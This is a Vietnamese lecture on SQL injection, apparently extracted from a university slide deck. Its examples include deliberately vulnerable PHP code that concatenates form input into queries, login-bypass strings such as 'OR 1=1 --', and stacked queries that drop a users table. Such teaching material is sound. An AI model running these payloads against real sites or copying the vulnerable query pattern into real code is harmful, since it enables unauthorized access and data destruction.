Tải bản đầy đủ (.pdf) (63 trang)

Bài giảng Bảo mật ứng dụng Web: SQL injection - Nguyễn Hữu Thể

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.89 MB, 63 trang )

BẢO MẬT ỨNG DỤNG WEB

SQL INJECTION

Nguyễn Hữu Thể


SQL Injection
 Hình thức tấn cơng vào câu lệnh SQL.
 attacker chèn câu lệnh vào SQL của chương trình
• => khai thác dữ liệu.

 Khai thác lỗi: các ứng dụng web với backend:
• Khơng sử dụng data object
• Dùng kết nối query thuần
• Các thơng báo lỗi của hệ quản trị cơ sở dữ liệu trả về

2


SQL Injection






Các dạng lỗi thường gặp:
Không kiểm tra ký tự thốt truy vấn
Xử lý khơng đúng kiểu
Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu


Blind SQL Injection

3


Các dạng tấn công SQL injection





Dạng tấn công vượt qua kiểm tra đăng nhập
Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công sử dụng câu lệnh INSERT
Dạng tấn công sử dụng stored-procedures

4


Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
 Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL.
 Ví dụ: table users như sau:
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) NULL,
password VARCHAR(50) NULL,
PRIMARY KEY (id)
);
INSERT INTO users (username, password) VALUES ('aaa', '123456');

INSERT INTO users (username, password) VALUES ('bbb', '123456');

5


Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
<form action='process_login.php' method="post">
Username<input type=“text" name=“username" />
Password <input type="password" name="password" />
<input type="submit" value="Login" />
</form>

Câu truy vấn nhận dữ liệu:
$sql = "SELECT * FROM users
WHERE username = '".$_POST[‘username']."'
AND password = '" . $_POST['password']. "'";
6


Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)

require 'dbcon.php';
$sql = "SELECT * FROM users
WHERE username = '".$_POST['username']."' AND password = '" . $_POST['password']. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row)
echo "
Thành công";

else
echo "
Thất bại";
mysqli_close($conn);


Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
Đăng nhập:
- Nhập vào ô username: khongbiet' OR 1 = 1 LIMIT 1 -- ]
- Nhập vào ô password: khongbiet

Kết quả truy vấn:
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1 -- ]'
AND password = 'khongbiet'

Tương đương:
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1
8


Dạng tấn công vượt qua kiểm tra đăng nhập
(authorization bypass)
TH1: Nhập đúng username và password

Đăng nhập thành công

TH2: không biết username và password

Đăng nhập thành công
9



Dạng tấn công sử dụng câu lệnh SELECT
 Lợi dụng các sơ hở trong các thơng báo lỗi từ hệ
thống
• => Dị tìm các điểm yếu khởi đầu cho việc tấn cơng.

 Thơng thường:
• Sẽ có một trang nhận ID của tin cần hiển thị
• Sau đó truy vấn nội dung của tin có ID này
• Hoặc ơ nhập liệu tìm kiếm

10


Dạng tấn cơng sử dụng câu lệnh SELECT
 Ví dụ:
CREATE TABLE monhoc (
maMon varchar(8) NOT NULL PRIMARY KEY,
tenMon varchar(100) NOT NULL,
soTC int(11) NOT NULL
);
INSERT INTO monhoc (maMon, tenMon, soTC) VALUES
('03021003', 'Tin học cơ sở', 4),
('03021004', 'Nhập mơn lập trình', 4),
('03021005', 'Phương pháp lập trình hướng đối tượng', 4);
11


Dạng tấn công sử dụng câu lệnh SELECT

<form action='process_search.php' method="post">
Nhập tênmơn: <input type="text" name=“tenmon" required="required"/>
<input type="submit" value="Tìm" />
</form>

Kết quả truy vấn nhận dữ liệu:
$sql = "SELECT * FROM monhoc
WHERE tenMon = '".$_POST[‘tenmon']."'";
SELECT * FROM monhoc WHERE tenMon = ‘Tin học'
12


Dạng tấn công sử dụng câu lệnh SELECT
<?php header('Content-Type: text/html; charset=utf-8'); ?>
require 'dbcon.php';
$sql = "SELECT * FROM monhoc
WHERE tenMon like '%".$_POST['tenmon']."%'";
echo "Câu truy vấn là: " . $sql. "
";
$result = mysqli_query($conn, $sql);
while($row = mysqli_fetch_array($result)) {
echo "Mã môn: {$row['maMon']}. Tên môn: {$row['tenMon']}
";
}
mysqli_close($conn);
?>

13


Dạng tấn công sử dụng câu lệnh SELECT


Mã môn: 03021003. Tên môn: Tin học cơ sở

14


Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021004. Tên mơn: Nhập mơn lập trình
Mã mơn: 03021005. Tên mơn: Phương pháp lập trình
hướng đối tượng

15


Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021003. Tên môn: Tin học cơ sở
Mã môn: 03021004. Tên môn: Nhập mơn lập trình
Mã mơn: 03021005. Tên mơn: Phương pháp lập trình hướng đối tượng

SELECT * FROM monhoc WHERE tenMon = 'a' or 1=1-- '
16


Dạng tấn công sử dụng câu lệnh SELECT
Câu lệnh Union: kết hợp 2 table cùng số cột
SELECT * FROM users Union SELECT * From monhoc

17



Dạng tấn công sử dụng câu lệnh SELECT
http://localhost/MyPhamOnline/php/index.php?function=sanphamchitiet&id=1
Liệt kê 1 dữ liệu có trong table

18


Dạng tấn công sử dụng câu lệnh SELECT
http://localhost/MyPhamOnline/php/index2.php?function=sanphamchitiet&id=0 or 1=1 --

Liệt kê tất cả dữ liệu có trong table


Dạng tấn công sử dụng câu lệnh SELECT
Thực hiện nhiều truy vấn cùng lúc
Giả sử câu truy vấn có dạng:
$sql = "SELECT * FROM monhoc WHERE maMon = '" . $mamon . "'";

Người tấn cơng có thể nhập dữ liệu như sau:
a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1
Câu truy vấn sau khi nhận dữ liệu như sau:

SELECT * FROM monhoc WHERE maMon = 'a'; DROP TABLE
users; SELECT * FROM sinhvien WHERE '1' = '1'
20


Dạng tấn công sử dụng câu lệnh SELECT

Xử lý không đúng kiểu
Không kiểm tra và lọc kiểu dữ liệu đầu vào là số hay chuỗi
$sql = "SELECT * FROM monhoc WHERE maMon = " . $mamon ;

Người tấn cơng có thể nhập dữ liệu như sau:
1; DROP TABLE users
Câu truy vấn sau khi nhận dữ liệu như sau:
SELECT * FROM monhoc WHERE maMon =1; DROP TABLE users

21


Dạng tấn công sử dụng câu lệnh SELECT
Thay đổi giá trị điều kiện truy vấn

Thay đổi giá trị điều kiện trong câu truy vấn
 làm sai lệch kết quả hiển thị của ứng dụng chứa lỗi này.
Ví dụ: câu truy vấn bình thường:
SELECT * from Users where username= ‘aaa’ AND 1=1;
Câu truy vấn thay đổi:
SELECT * from Users where username= ‘aaa’ AND 1=2;
=> Sẽ hiển thị một nội dung khác, hoặc không hiển thị.

22


Dạng tấn công sử dụng câu lệnh INSERT
 Lợi dụng chức năng đăng ký tài khoản.
• => hệ thống khơng kiểm tra tính hợp lệ của thơng tin nhập vào.


 Ví dụ: Khi câu lệnh INSERT có dạng:
INSERT INTO TableName VALUES(‘Value One’, ‘Value Two’, ‘Value
Three’)

 Nếu nhập vào trường thứ nhất:
‘ + (SELECT TOP 1 FieldName FROM TableName) +’

 Câu truy vấn sẽ là:
INSERT INTO TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName
FROM TableName) + ‘ ‘, ‘aaa, ‘bbb’)

 Chương trình sẽ thực thi 2 lệnh đồng thời: Insert, Select:
SELECT TOP 1 FieldName FROM TableName
23


Dạng tấn công sử dụng stored-procedures
 A

24


BÀI TẬP
 Table:
 LoaiSanPham(maloai, tenloai)
 SanPham(masp, tensp, mota, gia, maloai)

25



×